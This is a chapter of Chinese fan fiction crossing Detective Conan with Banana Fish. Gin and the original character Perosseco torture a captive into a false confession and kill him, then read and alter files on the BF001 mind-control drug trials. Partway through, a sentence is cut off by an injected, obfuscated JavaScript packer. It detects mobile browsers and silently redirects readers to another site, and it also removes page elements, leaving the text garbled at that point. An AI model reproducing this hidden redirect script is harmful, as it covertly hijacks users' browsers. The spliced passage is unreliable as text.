“什……什么?”男人的瞳孔微缩,肩膀上和脚踝处传来的疼痛有些扰乱思绪,“什么探员?” 青年依旧是那个笑容,他收回踩在对面脚踝处的脚,上前一步,半跪下去,猛地拽过对方的头发,在那人耳边轻声道:“FBI的精英探员,潜伏进我们组织,杀了代基里从而获得了和美方交易的资格,试图通过破坏今晚的交易,直接获取Banana fish药物本体……这些,不都是你做的吗?” 声音不高,却字字清晰地落在了在场的三个人耳朵里。 “什………” 玛克白兰地猛地瞪大了眼睛,看向一边冷眼旁观着的琴酒,突然梳理明白了事情缘由,荒谬的质控让男人几乎要笑出来,他压着怒意低吼着:“你们两个好算计啊……FBI…我看就是你们两个害怕我吧……哈哈…等boss知道了,我看你们两个又能……” “砰。” 子弹又一次钉进了同一个位置,男人的话头被止住,珀洛塞可眼看着手上的人又要鬼叫出声,先一步卸掉了那人的下巴,这才保住自己的耳朵幸免于难。 青年把手上拽着的那人的头猛地一丢,站起身扯过一边的湿巾擦了下手,不满地看向刚刚开枪的人:“你好暴力啊。” 差一点自己就又要被吵死了。 “是你话太多了。”琴酒阴侧地瞥了一眼对方,收回了枪械。 “聊聊天而已嘛,”珀洛塞可无所谓地耸了下肩,顺路踹了一脚地上已经没有办法说话,但是依旧狠瞪着他的人,“你说是吧,玛克白兰地。” 地上的人只能从喉咙里发出模糊的嗬嗬声。 “不过……”青年拖长了音调,慢斯条理地抽出自己的皮革手套,不紧不慢地往自己手上套着。 “不过大人,他不认他是FBI怎么办?”粗糙的靴底又重新碾上了那只已经快要报废的脚踝。 他看向琴酒,还没有等对方回话,便自顾自地接了下去:“那我让他认了,怎么样?” 杀手听着对方轻快的语气,抬了抬眉:“怎么,你也要公报私仇?” “公报私仇?”珀洛塞可点了点自己的下巴,沉吟片刻,又笑道,“哪里有公啊,大人。” 黑瞳平淡地扫向地上那人已经充着血、但是依旧充满愤恨的眼睛。 “全是私仇啊。” 秋山一彦的仇他还真得报回来。 哪怕最后动手的人是他。 153 琴酒在半晌之后,亲耳听到了玛克白兰地因无法忍受持续升级的剧痛,从最初的否认、咒骂,到最后神志不清地胡乱承认了自己是FBI。那声音嘶哑破碎,混杂着痛极的抽气,显然已丧失了基本的思考能力。 录音笔的红光还在微弱地闪烁,琴酒按下了停止键,将这份小小的铁证收了起来。 现在他彻底不怎么觉得珀洛塞可是官方机构的了———哪个正经特工能把逼供玩成这种样子的。 “你这都是哪里学来的手段。”杀手看着面前依旧悠闲的人,蹙了下眉。 “哪里学来的?”青年慢慢褪下了自己的手套,随手团起后,精准抛进了远处的垃圾桶里,抬眼看向杀手的绿眸,“一次一次试出来的啊。” 他甚至摊了摊手,随意补充道:“哪有地方会教这种东西,太变态了吧。” 空气里混杂的气味让人有些反胃。 试出来的? 琴酒懒得去想哪里有这么多人给这人试,权当这人又在胡编乱造。 他走到已经完全没有力气再说一句猖狂话的人边,鞋尖踢了踢那具瘫下来的身体———其实血迹并不多,甚至还没有肩膀上那个洞口冒出来的血水多。 青年退到墙边,同样看着这一幕,在不久后又把视线落回到了自己摊开的双手上。 没沾血。 思绪犹如石块投入平静的湖面,无声的涟漪里,勉强可见坠下的痕迹。 他是在讨厌这个人吗? 他眨眨眼,又抬头看了一下那个被他亲手折磨得不成样的男人。 还是在恨自己的无能为力? “嗤。” 琴酒听着站在一边的人莫名其妙嗤笑了一声,侧头看去,那人正垂着眸,把手往衣服上蹭了两下,然后若无其事地揣进了衣兜,又抬眼看了过来。 “大人,”珀洛塞可歪了歪头,“你确认好了吗?你今天不睡觉我还想睡。” 杀手没有回话,那把伯\莱\塔被他从大衣内拿出,枪声其实不算响,被指着的那人额间霎时一个血洞,乱七八糟的颜色缓慢地蜿蜒了下来。 珀洛塞可静静地看着这一幕,通风口内可以隐约看见清晨淡青色的光亮。 那光斜斜地照了进来,就打在他刚刚站在的那个位置。 远方似乎传来鸟鸣。 “走了,”声线中没带什么感情,杀手转过身,对着依旧在靠墙发着呆的人说道,“现在你可以解释一下你都拿到什么东西了。” “哦呀。”珀洛塞可把视线从尸体上挪开,叹了口气,“那看起来今天又不能睡觉了。” 他拿出那枚U盘,在琴酒面前示意了一下。 “走吧,一起去看看。”青年挂上了那副无害的面容,“我也不知道我拿到什么东西了呢。” 青年最后回头看了一眼那具尸体,然后一言不发地跟着一侧的人走出了地下室。 那块石头溺在稠密而寂静的水里,坠在湖床上,不见了踪影。 57.第 57 章 154 “琴酒大人。”珀洛塞可手中的笔转了一圈,黑瞳折射着面前屏幕的光亮,文件解析的进度条停留在98%的位置,他转过身,电脑椅跟着转了过去,视线落在站在他后面抽着烟的杀手上。 灰白的烟雾缭绕,房间内没有开灯,窗帘拉拢着,丝丝的光线从窗帘缝中透出,却显得整个室内更加阴沉。 “怎么,”杀手看了一眼那人身后卡着的进度条,眼眸微眯,“你后悔了?” “我当然不敢这么说。”青年整个人靠在电脑椅上,余光撇了一眼卡着的进度条。 “我只是想和你确认一下,”说话的人在这里顿了顿,“我觉得我和你有相同的目的,你觉得呢?” “目的?”男人笑了一声,叼在嘴中的烟被他用拿开。 珀洛塞可眼看着对方附下身,阴影拢了下来,男人的手夹着烟,穿越过他的耳侧,燃着火星的烟蒂被按灭在了他身后放在电脑桌上的烟灰缸里。 椅子上的人见状,身形又往里靠了些,没有对琴酒这个动作做出什么评价,只是盯着那双离他近了不少的绿眸,挑了挑眉。 “你觉得我有什么目的?”琴酒收回了按灭烟的手,撑在了电脑椅的扶手两侧,人被困在方寸之间,这个距离太近,能看见对方眼睛里自己的倒影。 “哦呀。”珀洛塞可莫名跟着笑了声,他歪了下头,视线和对面的人错开,双手随意地垂放在腿上,声线压低了些,“最起码现在,我们都想——” 那人往里靠着的身形突然前倾,两个人的距离更加拉近,琴酒听着那人在自己的耳边用着几乎是气音的声音接着道:“我们都想背着我们的boss,把这个财团相关的所有人弄死。” 男人闻言,绿瞳微缩,起身站回了一侧,珀洛塞可依旧坐在椅子上,不过是又比刚刚前倾了身子,双手撑在膝上,手指虚顶着下巴,正笑着看向他。 琴酒眯了下眸子,常持枪的手放进了大衣外套的口袋内:“你想说什么?” “我想说,”青年恢复了坐姿,顺势把自己转回了屏幕面前,“我想说,不管一会看到什么,别想着一枪把我崩了灭口。” 他又侧头,指向性明确地看了一眼那人放在口袋里的手。 “毕竟我们依然在同一条船上。” “合作邀请你可是接下了的。” 杀手没有回话,同样也没有把大衣口袋里的东西抽出,只是走上前了两步,站在那人身旁,侧身撑着电脑桌,盯着电脑屏幕上未走尽的进度条:“然后呢?” “然后?”珀洛塞可的指尖在Enter键上悬停了一瞬,“不知道啊,先看看是什么呗。” 琴酒的声线同样压得很低,不置可否道:“按。” “看完再说。” 青年微微颔首,没再说什么,指尖落下,“嘀”一声的轻响,在寂静的房间中格外清晰。 解析进度条往前一跳,填满了最后一点的空白,到达了100%。 屏幕闪烁了一瞬,所有加密文档被成功解锁,珀洛塞可操控着键鼠,毫不犹豫地打开了一份又一份文件。 琴酒看了一眼这人的动作,冷嘲道:“不是很惜命吗。” 知道得太多可是会死的。 青年扫过一行又一行的字符,抽空扯开了一下嘴角:“现在这里只有你会杀了我,大人。” “只要不说出去,谁又会知道这些文档是在我们两个手上呢。” “嗤。” 话语在对方一声嗤笑中结束,二人的目光再次落回到屏幕上,电脑屏幕不自然的光线照亮了杀手一半的侧脸,也让珀洛塞可微微眯上了眼。 155 【PDF文档】 【临床药物实验报告:Banana Fish】 实验代号:BF001 主要研究机构:国立精神卫生中心 主要研究人员:亚伯拉罕·多森、马纳·汉姆 主要研发目的:通过外源性神经递质调控实现对个体行为意志的部分可控性。 药理机制概述: BF001 通过调节大脑前额叶皮层与边缘系统之间的神经递质信号传导,理论上可使受试者在保持自我意识的前提下增强对外界语言命令的顺从反应。 设计初衷为在【无痛觉刺激】条件下实现【强制性服从】模式。 临床药物实验结果概述: 个体普遍出现认知混乱、短暂性失语与强烈神经性头痛。 随剂量升高,受试者表现出对任何外界命令的绝对服从,但执行命令并未带来痛苦缓解。受试者均出现自我攻击与暴力冲动行为,最终导致所有受试者自残致死。 特例: 编号BF-17受试者出现短暂认知混乱和严重神经性头痛,数小时后缓解,并对下令者的口头指令执行准确性达95%,无抵触,无攻击性情绪。 编号BF-17受试者出现真实稳定服从态。 【BF药品使用事故调查报告】 【BF药品相关交易去向】 【BF受试者名单】 BF-307: 原田净三死亡 ………… BF-303:井上顺阳死亡 ………… ………… BF-17: 黑泽阵 状态存疑 156 空气中弥漫着未散的烟味,沉默把时间扭曲得很长。 珀洛塞可的目光最后停留在这个让他觉得颇为眼熟的名字上。 琴酒依旧没有说话,甚至也没有看着屏幕,只是垂眸盯着坐在一旁扫视文件的人。 青年的眉头没有舒展开,手指下意识地在桌面上画着圈。 他很确定在他目前的记忆里他从来没有见过这个名字。 身侧的男人没有什么反应,没有声音落在自己的耳朵里,但那天夜里波特酒说出来的话却突然莫名地浮现在了珀洛塞可的脑海中。 ————“那个报告你不觉得眼熟吗?” ————“没有想到是你活到了最后。” 还有那个只被吐露出了一个字,就直接被琴酒一枪止住的名字。 珀洛塞可瞄了一眼一侧的男人,没看清脸,只能看见些许垂落的银发。 “大人,”青年又把电脑椅转了一半,脚在地面上轻轻用力,把自己推离了那个人一些,轮滚在地面上摩擦发出细响。 杀手同样后退两步,背靠着墙,手依旧放在大衣口袋里:“有事说事。” “我想说………”他若无其事地看向那双绿眸。 这个人一直很奇怪。 为什么看他的精神画布要花更多的精神力? 精神力值降低至30% 倚靠着墙的男人看着对面人的瞳孔如那天雨夜里一样,思绪被拽着掉进一片虚无的寂静中,光线是荒芜的风,变成利刃穿透人,流淌出一片黑色的血。 蔓延。 “哈。” 轻笑声把人一下带回了现实,杀手猛地皱起眉头,敏锐地察觉到了刚刚那人不符合常理的状况,冷声质问道:“你刚刚做了什么?” “什么叫我做了什么?”珀洛塞可又挂出了那副笑容,他把自己又挪回了电脑桌边,手肘靠在桌子上,掌心撑着侧脸,歪歪地看着一边的人,“我什么都没做啊。” 他顿了顿,语气中带着做作的关切。 “大人,您觉睡少了,出现幻觉了吧。” 杀手仰头靠在墙面,他依旧是垂眸审视着面前笑得虚假的人,面色不算太好,唇线紧抿。 几秒后,男人直接把枪械从口袋中顺势拿出:“接着说,你刚刚想说什么?” “我想说……”珀洛塞可又再一次在这里停了下来,他微挑着眉尾,转到电脑面前打开了文件编译器。 【临床药物实验报告:Banana Fish-特例】一栏被操控者尽数删除,BF-17的成功案例不复存在。 【BF受试者名单】BF-17 黑泽阵由状态存疑修改为死亡。 那柄刚刚在男人手中把玩的枪支瞬间转向抵住了珀洛塞可用于操控键盘的右臂,正正好就是不久前由杀手故意为之的擦伤伤口处。 青年把文件编译完成,手上的动作停了下来,侧着抬头看向琴酒,面上没什么明显的表情。 “你最好解释清楚,”伯\莱\塔碾住伤口的力道在不断加重,已经可以明显从衣服的破口处看见绷带上渗出的血迹,男人的声音完全沉了下来,“你把这个案例修改成这样的原因。” 珀洛塞可眨眨眼,仿佛感觉不到手臂处传来的疼痛,笑道:“怎么,你认识这个人啊?” “你是右利手,”男人没有回答对方绕弯子的话,他垂眸看着绷带上洇开得越发大的痕迹,手上的枪械更加精准地施加着压力,“所以现在好好说话。” 青年脸上的笑意淡了些,声音不淡不咸地响起:“因为我想把这份东西拿给真的FBI。” 杀手闻言,把沾着血迹的枪口一路转移向上,直抵着珀洛塞可的颈侧,金属自带的冰凉让人不由得歪了下头,那双黑瞳却依旧直直地看着对方。 “所以?” “所以不能有任何成功的案例,”珀洛塞可直接伸出右手握住了指着自己的那柄枪,顺势推开后站起身,电脑椅在反向的作用下向后滑去,“让他们认为那个药是失败的,这样对我们两个都好。” “毕竟,”青年瞥了一眼一旁电脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16707026|184862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的文件,直勾勾地盯着那双绿眸,低低一笑,“一个人能做到的事情真的不算多。” “让他们部分心存正义的FBI去处理这个财团,我们负责收收尾就行了。” “你说对吧,大人?” 黑、泽、阵、大、人。 他笑眯着眼,并没有把刚刚看到的真名说出口,只是一个劲地试探着对面人的反应。 对面没有立刻回应。 琴酒缓慢而用力地抽回那把还被握在对方手上的枪支,他抽出手帕,枪口处沾染的血迹被人耐心地擦拭去。 半晌后,男人随意地抬了抬眸,低沉道:“你还真敢说。” “我为什么不敢说?”珀洛塞可的指尖点了点桌面,“反正这些事情都是我珀洛塞可做出来的,和你琴酒没有一点关系。” “刚刚,”银发杀手缓缓开口,沾了血的手帕被他丢在一旁,“你还说我们两个在一条船上。” “现在依旧在一条船上,”青年捂了一下右臂上的伤口,双指碾了一下指尖上沾着的血迹,“要是出事了,你负责把我抓回去不就行了?” “我保证,”他看了眼对面人手上的枪支,“乖乖和你走。” “我又凭什么信你。”男人嗤笑一声,绿瞳中的神色带了些阴晴不定。 “凭我要报仇,”珀洛塞可的面色彻底冷了下来,“凭我在药物受试者名单上看见了熟人的名字。” “凭我们组织是最接近我目的的地方。” “凭今天本来围攻这个财团的机构就应该是FBI,这份被修改过的资料出现在FBI合情合理。” “凭我觉得人体实验这种东西,恶心透了。” 青年彻底带上了一点真情实感的狠意,他不太自然地扭了下头,想到了刚刚看到的东西。 这个人为什么会导致他用更多的精神力去探查? 那画布上密密麻麻的伤痕,全是精神类药物导致的,这人学会了怎么在一堆药品里面保护自我不被侵蚀,才导致了他用平常的手段根本看不清代表着『自我』所在的精神画布。 哪怕他觉得黑泽阵这个人确实不太和他合得来,也不影响他觉得有些人的手段确实够让人反胃。 琴酒瞥了一眼彻底冷下脸的人,对方那种被精心雕琢但是依旧粗制滥造的笑容荡然无存,他并未因这份外露的敌意而动容,反而像是终于看到了期待已久的、真实的反应。 男人缓缓地把手上的枪支收回了大衣内侧,室内平静得只剩下了电脑排气扇转动的声音,珀洛塞可拽回身后的电脑椅,卸力坐了下去。 电脑因为长久没人操作,已经快要息屏,眼看着要彻底落入昏暗,又被电脑桌旁边的人推了一下鼠标,光线重新亮起。 琴酒若有若无地扫向对面人渗着血的伤口,那人没再看向他,而是在思量着什么一样盯着电脑屏幕。 “你还真有正义感,”男人在良久后嘲讽着开口。 坐在椅子上的人依旧没有转向过来,只是冷哼一声,接着道:“多谢夸奖。” 琴酒收回了目光,仿佛对这场长时间的拉锯试探失去了耐心,语气中的嘲讽也尽数收敛:“这件事。” “就按你说的办。” 珀洛塞可那双一直不变的黑瞳才终于淡淡地看了过来。 还没等对面人说些什么,杀手又接着下令道:“给你一天时间,处理好所有的后续后回国,banana fish交易这件事,和你没关系了。” “你在防止我拿到banana fish的药物本体?”青年又重新把玩上了那只刚刚被他丢到一边的笔,看着琴酒走到一侧的沙发上坐了下来。 “你很想要那个东西吗?”杀手反问道。 珀洛塞可转着的笔一不小心失手了一瞬,笔卡在了手指中央,他调整好动作,拿着笔尾轻轻敲了敲自己的额角,毫不掩饰地思量了半晌。 “也对,”他像是终于说服了自己一般,长长叹了口气,那支笔被“啪”一声按在了桌上,“没什么兴趣。” 他随意整理了一下自己的外套,语气变得轻飘飘的。 “那种东西,谁爱碰谁碰去吧。” 那种、根本没有成功的精神调控类药物,谁爱碰谁碰去吧。 青年把视线从琴酒身上挪开,看向了被自己修改过的文档上面。 这份文档本来就应该是这个样子的,黑泽阵这种“成功”案例不应该存在。 因为黑泽阵的精神画布上出现过精神钉的痕迹,那枚钉子已经将将要把画布敲碎了———就像井上顺阳一样。 但是被人修补好了。 那是他的手笔。 他又抬手揉了揉自己的眉心。 救了个不得了的东西啊。